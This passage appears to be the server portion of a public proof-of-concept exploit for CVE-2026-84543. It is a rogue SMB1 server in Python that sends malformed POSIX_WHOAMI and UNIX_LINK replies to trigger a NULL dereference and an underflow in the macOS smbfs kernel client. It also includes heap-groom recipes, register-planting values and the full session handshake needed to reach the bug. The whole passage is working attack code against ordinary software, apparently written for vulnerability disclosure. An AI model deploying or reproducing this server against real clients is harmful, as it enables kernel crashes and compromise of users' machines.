        0,                         # DevMajor
        0,                         # DevMinor
        0x42424242,                # UniqueID
        ASB_TARGET_KERN_VALUE,     # Permissions ← plant ASB (fa_permissions → x8;
                                   #               low 9 bits → x10 via ANDS)
        1,                         # Nlinks
        now,                       # CreationTime
        0,                         # FileFlags
        0,                         # FileFlagsMask
        len(name_unicode),         # NetworkNameLen
    )
    # Sanity: entry_fixed should be 128 bytes
    assert len(entry_fixed) == 128, f"entry_fixed = {len(entry_fixed)} bytes, expected 128"
    data = entry_fixed + name_unicode
    parameters = struct.pack('<HHHHH',
                             0x0001,                 # SID
                             1,                      # SearchCount = 1
                             1,                      # EndOfSearch = 1
                             0,                      # EaErrorOffset
                             0)                      # LastNameOffset
    return build_trans2_response(req_hdr, parameters, data)

def build_qfsinfo_response(req_hdr, info_level):
    """TRANS2 QUERY_FS_INFORMATION reply for various info levels."""
    parameters = b''
    if info_level == 0x0102:
        # SMB_QUERY_FS_VOLUME_INFO
        epoch_offset = 11644473600
        now = int((time.time() + epoch_offset) * 10_000_000)
        label = "ROGUE".encode('utf-16-le')
        data = struct.pack('<QIII', now, 0x12345678, len(label), 0) + label
    elif info_level == 0x0103:
        # SMB_QUERY_FS_SIZE_INFO
        data = struct.pack('<QQII', 1024*1024, 1024*1024, 1, 4096)
    elif info_level == 0x0104:
        # SMB_QUERY_FS_DEVICE_INFO
        data = struct.pack('<II', 7, 0)  # FILE_DEVICE_DISK, no characteristics
    elif info_level == 0x0105:
        # SMB_QUERY_FS_ATTRIBUTE_INFO
        fs_name = "UNIX".encode('utf-16-le')
        data = struct.pack('<III', 0x4006B, 255, len(fs_name)) + fs_name
    elif info_level == 0x0200:
        # SMB_QUERY_CIFS_UNIX_INFO — advertise UNIX extensions including
        # CIFS_UNIX_POSIX_PATH_OPERATIONS_CAP (0x20). Apple sets
        # UNIX_FIND_FILE_UNIX_INFO2_CAP only if this bit is set, which is
        # required for FIND_FIRST2 to use InfoLevel 0x202 (UNIX_INFO2).
        # Per smbfs_smb.c:2132 in 538.100.12 source.
        cifs_unix_caps = (
            0x01 |   # CIFS_UNIX_FCNTL_LOCKS_CAP
            0x02 |   # CIFS_UNIX_POSIX_ACLS_CAP
            0x04 |   # CIFS_UNIX_XATTR_CAP
            0x08 |   # CIFS_UNIX_EXTATTR_CAP
            0x10 |   # CIFS_UNIX_POSIX_PATHNAMES_CAP
            0x20 |   # CIFS_UNIX_POSIX_PATH_OPERATIONS_CAP   <-- KEY
            0x40 |   # CIFS_UNIX_LARGE_READ_CAP
            0x80     # CIFS_UNIX_LARGE_WRITE_CAP
        )
        data = struct.pack('<HHQ', 1, 0, cifs_unix_caps)
    elif info_level == 0x301:
        # SMB_QUERY_FS_FULL_SIZE_INFO
        data = struct.pack('<QQQII', 1024*1024, 1024*1024, 1024*1024, 1, 4096)
    elif info_level == 0x0202:
        # SMB_QFS_POSIX_WHOAMI — info_level 0x0202 per Apple's
        # SMBClient/kernel/netsmb/smb.h. *** This is what the kernel actually
        # queries *** (the original capture server's 0x202B branch is dead
        # code; the kernel emits `mov w1, #0x202` / `_mb_put_uint16le` —
        # verified at 0xfffffe000b32b5c0 in 26.4 kext).
        #
        # Parser: SMBClient/kernel/smbfs/smbfs_smb.c:1979–2087 (smbfs_unix_whoami)
        #   md_get_uint32le(&NULL)              ; offset  0..3   Mapping flags
        #   md_get_uint32le(&NULL)              ; offset  4..7   Mask
        #   md_get_uint64le(&smp->ntwrk_uid)    ; offset  8..15  → x9 at fault
        #   md_get_uint64le(&smp->ntwrk_gid)    ; offset 16..23  → x12-init
        #                                                          (transient,
        #                                                          clobbered
        #                                                          by reload)
        #   md_get_uint32le(&smp->ntwrk_cnt_gid); offset 24..27  → w12 at fault
        #   md_get_uint32le(&ntwrk_sids_cnt)    ; offset 28..31
        #   md_get_uint32le(&ntwrk_sid_size)    ; offset 32..35
        #   md_get_uint32le(&reserved)          ; offset 36..39  must == 0
        #
        # Bug: when ntwrk_cnt_gid * 8 > session_txmax, the parser sets
        # error = EBADRPC and goes to `done:` BEFORE allocating ntwrk_gids.
        # The cleanup `if (error && ntwrk_gids) { kfree(ntwrk_gids);
        # ntwrk_cnt_gid = 0; }` is gated on ntwrk_gids != NULL, which is
        # still its mount-time-zeroed NULL — so ntwrk_cnt_gid retains the
        # wire value. Per-getattr, _smb_get_uid_gid_mode dereferences NULL
        # at +0x1c8.
        #
        # ASB plants for the x8/x9/x10/x11/x12 capture:
        #   ntwrk_uid     ← ASB              (→ x9 at fault, full 8 bytes)
        #   ntwrk_gid     ← ASB ^ 1          (→ x12-init briefly; XOR ensures
        #                                     `cmp x11, x12-init` at +0x170
        #                                     yields NE so the b.ne to the
        #                                     OOB-loop arm is taken)
        #   ntwrk_cnt_gid ← ASB & 0x7FFFFFFF (→ w12 at fault, low 31 bits;
        #                                     bit 31 forced clear to pass
        #                                     `tbnz w8, #0x1f` sign-bit gate;
        #                                     value * 8 trivially exceeds
        #                                     session_txmax (~16 KiB),
        #                                     tripping the size check)
        cnt_gid_plant = ASB_TARGET_KERN_VALUE & 0x7FFFFFFF
        if cnt_gid_plant == 0:
            # Edge case: ASB low 31 bits all zero. Fall back to the
            # canonical 0x100000 plant so the bug still arms. Should
            # never happen with a real boot-randomized canary.
            cnt_gid_plant = 0x00100000
        data = struct.pack('<IIQQIIII',
                           0,                            # Mapping flags
                           0,                            # Mask
                           ASB_TARGET_KERN_VALUE,        # ntwrk_uid → x9
                           ASB_TARGET_KERN_VALUE ^ 1,    # ntwrk_gid → x12-init
                           cnt_gid_plant,                # ntwrk_cnt_gid → w12
                           0,                            # ntwrk_sids_cnt
                           0,                            # ntwrk_sid_size
                           0)                            # reserved (must be 0)
        # Do NOT include gids array bytes — size check fires before any
        # md_get_uint64le(&ntwrk_gids[ii]) call.
    elif info_level == 0x202B:
        # DEAD CODE — kept for documentation. The kernel never queries
        # info_level 0x202B; there is no such constant in the kext (verified
        # via binary-wide grep). The actual WHOAMI info_level is 0x0202
        # (handled above). This branch is unreachable from the kernel.
        data = b''
    else:
        # Unknown info level — return empty data with NOT_SUPPORTED-ish status
        data = b''
    return build_trans2_response(req_hdr, parameters, data)


# ---------------------------------------------------------------------------
# Per-trial state (groom recipes, trigger config)
# ---------------------------------------------------------------------------
class TrialConfig:
    def __init__(self, trigger_size=1, trigger_byte=0x41,
                 groom_recipe='none', logger=None):
        self.trigger_size = trigger_size
        self.trigger_byte = trigger_byte
        self.groom_recipe = groom_recipe
        self.log = logger or print
        # Per-trial counters
        self.qpath_unix_basic_count = 0
        self.qpath_unix_link_count = 0
        self.groom_responses_sent = 0

    def trigger_reply_bytes(self):
        # trigger_size == 0 → Stage 2 well-formed reply: a benign UTF-16LE
        # symlink target large enough that _smb_convert_network_to_path
        # takes the normal path (no lVar3=1 underflow). Same code path,
        # different size. Used for reachability verification before arming
        # the malformed Stage-3 trigger.
        if self.trigger_size == 0:
            return "target.txt".encode('utf-16-le')
        return bytes([self.trigger_byte] * self.trigger_size)

    def is_armed(self):
        return self.trigger_size == 1

    def groom_response_bytes(self, sequence_index):
        """Generate attacker-controlled bytes for groom mode.

        Each groom response targets kalloc.data.16 (≤16 bytes). Content includes
        UTF-16 0x002F at known offsets to be discovered by the OOB scan.
        """
        if self.groom_recipe == 'none':
            return None
        if self.groom_recipe == 'simple':
            # 14 bytes: 'AAAA/' followed by null padding. The '/' is at offset 4
            # in UTF-16 little-endian: bytes 4-5 = 0x2F 0x00 = UTF-16 0x002F.
            return b'AAAA' + b'\x2F\x00' + b'A' * 8
        if self.groom_recipe == 'dense':
            # All 0x002F UTF-16: 7 path-seps. First found wins.
            return b'\x2F\x00' * 7
        if self.groom_recipe == 'tail':
            # 0x002F at the end of the 16-byte slot
            return b'A' * 12 + b'\x2F\x00' + b'A' * 2
        # Default: log warning and return None
        self.log(f"WARNING: unknown groom recipe '{self.groom_recipe}'")
        return None


# ---------------------------------------------------------------------------
# SMB1 dispatcher
# ---------------------------------------------------------------------------
def parse_negotiate_request(body):
    """Parse SMB_COM_NEGOTIATE request body — extract dialect list."""
    word_count = body[0]
    # ByteCount @ offset 1 + 2*word_count
    bc_offset = 1 + 2 * word_count
    byte_count = struct.unpack_from('<H', body, bc_offset)[0]
    dialects_buf = body[bc_offset+2:bc_offset+2+byte_count]
    dialects = []
    pos = 0
    while pos < len(dialects_buf):
        if dialects_buf[pos] != 0x02:
            pos += 1
            continue
        end = dialects_buf.find(b'\x00', pos+1)
        if end < 0:
            break
        dialects.append(dialects_buf[pos+1:end].decode('latin1', errors='replace'))
        pos = end + 1
    return dialects

def parse_trans2_request(body):

    word_count = body[0]
    if word_count < 14:
        return None
    # Parameters layout (28 bytes for the first 14 words):
    # TotalParamCount(2), TotalDataCount(2), MaxParamCount(2), MaxDataCount(2),
    # MaxSetupCount(1)+Reserved(1), Flags(2), Timeout(4), Reserved(2),
    # ParamCount(2), ParamOffset(2), DataCount(2), DataOffset(2),
    # SetupCount(1)+Reserved(1) = 28 bytes
    # Then Setup[SetupCount] (2*N bytes), then ByteCount (2 bytes), then bytes_buf.
    p = struct.unpack_from('<HHHHBBHIHHHHHBB', body, 1)
    setup_count = p[13]   # 14th element after H,H,H,H,B,B,H,I,H,H,H,H,H = 13 then B = SetupCount
    # Recount: H(0),H(1),H(2),H(3),B(4),B(5),H(6),I(7),H(8),H(9),H(10),H(11),H(12),B(13),B(14)
    # - p[0] TotalParamCount H
    # - p[1] TotalDataCount  H
    # - p[2] MaxParamCount   H
    # - p[3] MaxDataCount    H
    # - p[4] MaxSetupCount   B
    # - p[5] Reserved        B
    # - p[6] Flags           H
    # - p[7] Timeout         I
    # - p[8] Reserved2       H
    # - p[9] ParamCount      H
    # - p[10] ParamOffset    H
    # - p[11] DataCount      H
    # - p[12] DataOffset     H
    # - p[13] SetupCount     B
    # - p[14] Reserved3      B
    setup_offset = 1 + 28
    setup_words = body[setup_offset:setup_offset+setup_count*2]
    subcmd = (struct.unpack_from('<H', setup_words, 0)[0]
              if setup_count >= 1 else 0xFFFF)
    param_offset_abs = p[10]
    data_offset_abs  = p[12]
    param_offset_in_body = param_offset_abs - 32
    data_offset_in_body  = data_offset_abs - 32
    if param_offset_in_body < 0 or data_offset_in_body < 0:
        return None
    parameters = body[param_offset_in_body:param_offset_in_body+p[9]]
    data = body[data_offset_in_body:data_offset_in_body+p[11]]
    return {
        'subcmd': subcmd,
        'parameters': parameters,
        'data': data,
        'total_param_count': p[0],
        'total_data_count': p[1],
        'setup_count': setup_count,
    }

def parse_qpath_info(t2):
    """Parse TRANS2_QUERY_PATH_INFORMATION parameters: InfoLevel(2) + Reserved(4) + Path(unicode)."""
    if len(t2['parameters']) < 6:
        return None
    info_level = struct.unpack_from('<H', t2['parameters'], 0)[0]
    path_bytes = t2['parameters'][6:]
    # Path is unicode if FLAGS2_UNICODE; assume yes
    try:
        path = path_bytes.rstrip(b'\x00').decode('utf-16-le', errors='replace')
    except Exception:
        path = path_bytes.hex()
    return {'info_level': info_level, 'path': path}


def handle_connection(conn, addr, cfg):
    log = cfg.log
    log(f"[{addr}] connected")
    state = {'tid': 0x0801, 'uid': 0,
             'saw_find_first2_unix_info2': False,
             'saw_qpi_unix_link': False,
             'saw_negotiate': False,
             'saw_tree_connect': False}
    try:
        while True:
            payload = recv_smb_message(conn, timeout=60)
            if payload is None:
                log(f"[{addr}] disconnected (no data)")
                return
            if isinstance(payload, tuple) and payload[0] == 'NB_SESSION_REQUEST':
                # NetBIOS Session Request → respond with NB Session Service Positive (0x82)
                conn.sendall(b'\x82\x00\x00\x00')
                continue
            if len(payload) < 32:
                log(f"[{addr}] short payload {len(payload)}B")
                return
            if payload[:4] == b'\xfeSMB':
                log(f"[{addr}] SMB2 magic — client wants SMB2; we only do SMB1, dropping")
                return
            if payload[:4] != SMB1_HEADER_MAGIC:
                log(f"[{addr}] not SMB1: {payload[:4].hex()}")
                return
            hdr = parse_smb1_header(payload)
            if hdr is None:
                return
            cmd = hdr['command']

            if cmd == SMB_COM_NEGOTIATE:
                state['saw_negotiate'] = True
                dialects = parse_negotiate_request(hdr['body'])
                log(f"[{addr}] NEGOTIATE dialects={dialects}")
                # Pick "NT LM 0.12" — required for NT extensions + CAP_UNIX
                target_dialect = "NT LM 0.12"
                if target_dialect in dialects:
                    idx = dialects.index(target_dialect)
                else:
                    log(f"[{addr}] client did not offer NT LM 0.12 — refusing")
                    return
                log(f"[{addr}] NEGOTIATE building response idx={idx}")
                resp = build_negotiate_response(hdr, idx)
                log(f"[{addr}] NEGOTIATE built {len(resp)}B, sending")
                conn.sendall(resp)
                log(f"[{addr}] NEGOTIATE sent")

            elif cmd == SMB_COM_SESSION_SETUP_ANDX:
                # Extended security format: WordCount=12
                word_count = hdr['body'][0]
                ss_state = state.setdefault('ss_state', 'initial')
                if word_count == 12:
                    # SecurityBlobLength at offset 1+1+1+2+2+2+2+4+4 = 19
                    sec_len = struct.unpack_from('<H', hdr['body'], 15)[0]
                    bc = struct.unpack_from('<H', hdr['body'], 25)[0]
                    sec_blob = hdr['body'][27:27+sec_len]
                    log(f"[{addr}] SESSION_SETUP(ext) state={ss_state} blob={len(sec_blob)}B "
                        f"first8={sec_blob[:8].hex()}")
                    if ss_state == 'initial':
                        # Client sent NTLMSSP NEGOTIATE (Type 1). Respond with CHALLENGE (Type 2)
                        # wrapped in SPNEGO NegTokenResp; STATUS_MORE_PROCESSING_REQUIRED.
                        challenge8 = b'\x12\x34\x56\x78\x9a\xbc\xde\xf0'
                        ntlm_chal = build_ntlmssp_challenge(challenge8)
                        spnego = build_spnego_challenge_wrapped(ntlm_chal)
                        new_uid = 0x0801
                        state['uid'] = new_uid
                        state['ss_state'] = 'challenge_sent'
                        log(f"[{addr}] SESSION_SETUP building CHALLENGE response uid={new_uid}")
                        resp = build_session_setup_response_extended(
                            hdr, spnego, status=0xC0000016,    # MORE_PROCESSING_REQUIRED
                            uid=new_uid)
                        log(f"[{addr}] SESSION_SETUP CHALLENGE built {len(resp)}B, sending")
                        conn.sendall(resp)
                        log(f"[{addr}] SESSION_SETUP CHALLENGE sent")
                    else:
                        # Second round: AUTHENTICATE (Type 3). Accept.
                        accept = build_spnego_accept()
                        state['ss_state'] = 'authenticated'
                        log(f"[{addr}] SESSION_SETUP building ACCEPT response uid={state['uid']}")
                        resp = build_session_setup_response_extended(
                            hdr, accept, status=STATUS_SUCCESS,
                            uid=state['uid'])
                        log(f"[{addr}] SESSION_SETUP ACCEPT built {len(resp)}B, sending")
                        conn.sendall(resp)
                        log(f"[{addr}] SESSION_SETUP ACCEPT sent")
                else:
                    log(f"[{addr}] SESSION_SETUP non-extended wc={word_count} — sending SUCCESS")
                    nh = smb1_header(cmd, mid=hdr['mid'], pid=hdr['pid'],
                                     uid=0x0801)
                    body = struct.pack('<BBBHH', 3, SMB_COM_NO_ANDX_COMMAND, 0, 0, 0)
                    conn.sendall(netbios_wrap(nh + body + b'\x00\x00'))
                    log(f"[{addr}] SESSION_SETUP non-ext sent")

            elif cmd == SMB_COM_TREE_CONNECT_ANDX:
                state['saw_tree_connect'] = True
                log(f"[{addr}] TREE_CONNECT building response")
                resp = build_tree_connect_response(hdr, state['tid'])
                log(f"[{addr}] TREE_CONNECT built {len(resp)}B, sending")
                conn.sendall(resp)
                log(f"[{addr}] TREE_CONNECT sent")

            elif cmd == SMB_COM_TRANSACTION2:
                t2 = parse_trans2_request(hdr['body'])
                if t2 is None:
                    log(f"[{addr}] T2 parse failed")
                    return
                if t2['subcmd'] == 0x0001:  # TRANS2_FIND_FIRST2
                    info_level = struct.unpack_from('<H', t2['parameters'], 6)[0]
                    name_buf = t2['parameters'][12:]
                    try:
                        name_str = name_buf.rstrip(b'\x00').decode('utf-16-le', errors='replace')
                    except Exception:
                        name_str = name_buf.hex()
                    log(f"[{addr}] FIND_FIRST2 level=0x{info_level:04x} pattern={name_str!r}")
                    # Strip leading "\\" / "/" to get leaf name
                    leaf = name_str.lstrip('\\/')
                    if info_level == 0x020B:
                        state['saw_find_first2_unix_info2'] = True
                        # SMB_FIND_FILE_UNIX_INFO2 (0x20B per smb.h:617) — return
                        # one symlink entry. Drives the client to classify the
                        # vnode as VLNK so a subsequent readlink will route
                        # via the UNIX-symlink branch (InfoLevel 0x201).
                        log(f"[{addr}] FIND_FIRST2 UNIX_INFO2 returning symlink entry name={leaf!r}")
                        resp = build_find_first2_unix_info2_response(hdr, leaf)
                    else:
                        log(f"[{addr}] FIND_FIRST2 unhandled level=0x{info_level:04x} — returning empty")
                        resp = build_find_first2_response(hdr, "")
                    log(f"[{addr}] FIND_FIRST2 built {len(resp)}B, sending")
                    conn.sendall(resp)
                    log(f"[{addr}] FIND_FIRST2 sent")
                elif t2['subcmd'] == 0x0003:  # TRANS2_QUERY_FS_INFORMATION
                    if len(t2['parameters']) < 2:
                        log(f"[{addr}] QFSINFO short params")
                        return
                    fs_info_level = struct.unpack_from('<H', t2['parameters'], 0)[0]
                    log(f"[{addr}] QFSINFO level=0x{fs_info_level:04x} building")
                    resp = build_qfsinfo_response(hdr, fs_info_level)
                    log(f"[{addr}] QFSINFO resp {len(resp)}B: {resp[:80].hex()}... sending")
                    conn.sendall(resp)
                    log(f"[{addr}] QFSINFO sent")
                elif t2['subcmd'] == TRANS2_QUERY_PATH_INFORMATION:
                    qpi = parse_qpath_info(t2)
                    if qpi is None:
                        log(f"[{addr}] QPATH_INFO parse failed")
                        return
                    log(f"[{addr}] QPATH_INFO level=0x{qpi['info_level']:04x} "
                        f"path={qpi['path']!r} raw_params={t2['parameters'].hex()}")
                    if qpi['info_level'] == SMB_QFILEINFO_UNIX_BASIC:
                        cfg.qpath_unix_basic_count += 1
                        # Decide file type: root path "" or "\\" → DIR; specific symlink path → VLNK.
                        is_root = (qpi['path'] in ('', '\\', '/'))
                        if is_root:
                            log(f"[{addr}] QPATH_INFO UNIX_BASIC root → DIR, building")
                            resp = build_qpath_unix_basic_response_dir(hdr)
                        else:
                            log(f"[{addr}] QPATH_INFO UNIX_BASIC leaf → SYMLINK, building")
                            resp = build_qpath_unix_basic_response(
                                hdr, file_type=UNIX_TYPE_SYMLINK, file_size=128)
                        log(f"[{addr}] QPATH_INFO UNIX_BASIC built {len(resp)}B, sending")
                        conn.sendall(resp)
                        log(f"[{addr}] QPATH_INFO UNIX_BASIC sent")
                    elif qpi['info_level'] == 0x0107:  # SMB_QFILEINFO_ALL_INFO
                        log(f"[{addr}] QPATH_ALL_INFO for {qpi['path']!r} building")
                        resp = build_qpath_all_info_response(hdr, qpi['path'])
                        log(f"[{addr}] QPATH_ALL_INFO built {len(resp)}B, sending")
                        conn.sendall(resp)
                        log(f"[{addr}] QPATH_ALL_INFO sent")
                    elif qpi['info_level'] == SMB_QFILEINFO_BASIC_INFO:
                        log(f"[{addr}] QPATH_BASIC_INFO building")
                        resp = build_qpath_basic_info_response(hdr)
                        log(f"[{addr}] QPATH_BASIC_INFO built {len(resp)}B, sending")
                        conn.sendall(resp)
                        log(f"[{addr}] QPATH_BASIC_INFO sent")
                    elif qpi['info_level'] == SMB_QFILEINFO_UNIX_LINK:
                        state['saw_qpi_unix_link'] = True
                        cfg.qpath_unix_link_count += 1
                        # GROOM RECIPE: send N prior groom replies before trigger
                        if cfg.qpath_unix_link_count <= 0:
                            # (placeholder — groom replays would happen here)
                            pass
                        # TRIGGER REPLY
                        trigger = cfg.trigger_reply_bytes()
                        if cfg.is_armed():
                            log(f"[{addr}] *** TRIGGER ARMED *** sending {len(trigger)}-byte UNIX_LINK reply (lVar3=1 underflow): {trigger.hex()}")
                        else:
                            log(f"[{addr}] STAGE-2 well-formed UNIX_LINK reply ({len(trigger)}B): {trigger.hex()}")
                        resp = build_qpath_unix_link_response(hdr, trigger)
                        log(f"[{addr}] UNIX_LINK built {len(resp)}B, sending")
                        conn.sendall(resp)
                        log(f"[{addr}] UNIX_LINK sent")
                    elif qpi['info_level'] == SMB_QFILEINFO_UNIX_INFO2:
                        # 0x020B — Apple netsmb/smb.h:583. Parser at
                        # smbfs_smb.c:478 reads 116-byte attr block; ext_unix_type
                        # selects fa_vtype: 1=DIR, 2=SYMLINK. Root → DIR; leaf → SYMLINK.
                        is_root = (qpi['path'] in ('', '\\', '/'))
                        if is_root:
                            log(f"[{addr}] QPATH_INFO UNIX_INFO2 0x020b root → DIR building")
                            resp = build_qpath_unix_info2_response(
                                hdr, ext_unix_type=1, file_size=0)
                        else:
                            log(f"[{addr}] QPATH_INFO UNIX_INFO2 0x020b leaf={qpi['path']!r} → SYMLINK building")
                            resp = build_qpath_unix_info2_response(
                                hdr, ext_unix_type=2, file_size=128)
                        log(f"[{addr}] UNIX_INFO2 built {len(resp)}B, sending")
                        conn.sendall(resp)
                        log(f"[{addr}] UNIX_INFO2 sent")
                    else:
                        log(f"[{addr}] QPATH_INFO level=0x{qpi['info_level']:04x} — sending NOT_SUPPORTED")
                        nh = smb1_header(cmd, status=0xC0000002,
                                         mid=hdr['mid'], pid=hdr['pid'],
                                         uid=hdr['uid'], tid=hdr['tid'])
                        conn.sendall(netbios_wrap(nh + b'\x00\x00\x00'))
                        log(f"[{addr}] NOT_SUPPORTED sent")
                else:
                    log(f"[{addr}] T2 subcmd 0x{t2['subcmd']:04x} not handled")
                    nh = smb1_header(cmd, status=0xC0000002,
                                     mid=hdr['mid'], pid=hdr['pid'],
                                     uid=hdr['uid'], tid=hdr['tid'])
                    conn.sendall(netbios_wrap(nh + b'\x00\x00\x00'))
                    log(f"[{addr}] T2 NOT_SUPPORTED sent")

            elif cmd == SMB_COM_NT_CREATE_ANDX:
                # WordCount(1) + AndXCommand(1) + AndXReserved(1) + AndXOffset(2)
                # + Reserved(1) + NameLength(2) at body offset 6.
                if len(hdr['body']) >= 8:
                    name_len = struct.unpack_from('<H', hdr['body'], 6)[0]
                else:
                    name_len = 0
                # Empty / "\\" / "/" name → mount root → directory.
                # macOS smbfs opens root with NameLength of 0 or 2 (UTF-16 "\\")
                # before walking into per-file opens.
                is_dir = name_len <= 2
                log(f"[{addr}] NT_CREATE_ANDX name_len={name_len} → is_dir={is_dir} building")
                resp = build_nt_create_andx_response(hdr, fid=0x4242, is_dir=is_dir)
                log(f"[{addr}] NT_CREATE_ANDX built {len(resp)}B, sending")
                conn.sendall(resp)
                log(f"[{addr}] NT_CREATE_ANDX sent")

            elif cmd == SMB_COM_CLOSE:
                log(f"[{addr}] CLOSE building")
                resp = build_close_response(hdr)
                log(f"[{addr}] CLOSE built {len(resp)}B, sending")
                conn.sendall(resp)
                log(f"[{addr}] CLOSE sent")

            elif cmd == SMB_COM_LOGOFF_ANDX:
                log(f"[{addr}] LOGOFF building")
                # Echo back a logoff response
                body = struct.pack('<BBBHH', 2, SMB_COM_NO_ANDX_COMMAND, 0, 0, 0)
                nh = smb1_header(cmd, mid=hdr['mid'], pid=hdr['pid'],
                                 uid=hdr['uid'], tid=hdr['tid'])
                conn.sendall(netbios_wrap(nh + body))
                log(f"[{addr}] LOGOFF sent")

            elif cmd == SMB_COM_TREE_DISCONNECT:
                log(f"[{addr}] TREE_DISCONNECT building")
                body = struct.pack('<BH', 0, 0)
                nh = smb1_header(cmd, mid=hdr['mid'], pid=hdr['pid'],
                                 uid=hdr['uid'], tid=hdr['tid'])
                conn.sendall(netbios_wrap(nh + body))
                log(f"[{addr}] TREE_DISCONNECT sent")

            elif cmd == SMB_COM_TRANSACTION:
                # RAP / DCE-RPC over named pipe — likely share validation via
                # \PIPE\srvsvc (NetShareGetInfo) right after NT_CREATE_ANDX.
                # We don't speak RPC; return minimal empty-success so the
                # client doesn't tear down the mount before userspace can
                # drive readlink/ls.
                state['saw_transaction'] = True
                log(f"[{addr}] TRANSACTION (0x25) — empty success building")
                resp = build_transaction_response(hdr)
                log(f"[{addr}] TRANSACTION built {len(resp)}B, sending")
                conn.sendall(resp)
                log(f"[{addr}] TRANSACTION sent")

            else:
                log(f"[{addr}] unhandled command 0x{cmd:02x} — STATUS_NOT_SUPPORTED")
                nh = smb1_header(cmd, status=0xC0000002,
                                 mid=hdr['mid'], pid=hdr['pid'],
                                 uid=hdr['uid'], tid=hdr['tid'])
                conn.sendall(netbios_wrap(nh + b'\x00\x00\x00'))
                log(f"[{addr}] NOT_SUPPORTED sent")
    except Exception as e:
        log(f"[{addr}] EXCEPTION: {e!r}")
        import traceback; log(traceback.format_exc())
    finally:
        # Stage-2 reachability gate: a session that completed Negotiate +
        # TreeConnect without ever issuing a TRANS2 UNIX-extensions level
        # is a half-broken UNIX-extensions negotiation. Surface loudly
        # so Stage 3 doesn't run on a false-green.
        if state.get('saw_negotiate') and state.get('saw_tree_connect'):
            saw_unix_info2 = state.get('saw_find_first2_unix_info2', False)
            saw_unix_link = state.get('saw_qpi_unix_link', False)
            if not (saw_unix_info2 or saw_unix_link):
                log(f"[{addr}] !!! WARNING: session ended with no TRANS2 "
                    f"UNIX-extensions level reached "
                    f"(FIND_FIRST2 0x020B={saw_unix_info2}, "
                    f"QPI UNIX_LINK 0x0201={saw_unix_link}). "
                    f"Stage-2 reachability is NOT confirmed; do NOT run Stage 3.")
            else:
                log(f"[{addr}] OK: UNIX-extensions reached "
                    f"(FIND_FIRST2 0x020B={saw_unix_info2}, "
                    f"QPI UNIX_LINK 0x0201={saw_unix_link})")
        conn.close()
        log(f"[{addr}] closed")


def main():
    p = argparse.ArgumentParser()
    p.add_argument('--bind', default='0.0.0.0')
    p.add_argument('--port', type=int, default=445)
    p.add_argument('--log', default=None, help='log file (default stdout)')
    args = p.parse_args()

    log_file = None
    if args.log:
        log_file = open(args.log, 'a', buffering=1)
    def logger(msg):
        ts = datetime.utcnow().strftime("%Y-%m-%d %H:%M:%S.%f")[:-3]
        line = f"{ts} {msg}\n"
        # ALWAYS write to stdout, unbuffered, so tee can capture it
        sys.stdout.write(line)
        sys.stdout.flush()
        if log_file:
            log_file.write(line)
            log_file.flush()
            try:
                os.fsync(log_file.fileno())
            except OSError:
                pass

    # The inherited SMB harness also contains a secondary symlink-reply test
    # path. Keep that path benign and non-configurable in this public PoC so
    # the only intentional vulnerability trigger is CVE-2026-84543.
    cfg = TrialConfig(trigger_size=0,
                      trigger_byte=0x41,
                      groom_recipe='none',
                      logger=logger)

    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    s.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
    s.bind((args.bind, args.port))
    s.listen(8)
    logger(f"CVE-2026-84543 SMB1 PoC listening on {args.bind}:{args.port} "
           "(secondary symlink path forced benign)")

    try:
        while True:
            conn, addr = s.accept()
            t = threading.Thread(target=handle_connection,
                                 args=(conn, addr, cfg), daemon=True)
            t.start()
    except KeyboardInterrupt:
        logger("interrupted")
    finally:
        s.close()
        if log_file: log_file.close()


if __name__ == '__main__':
    main()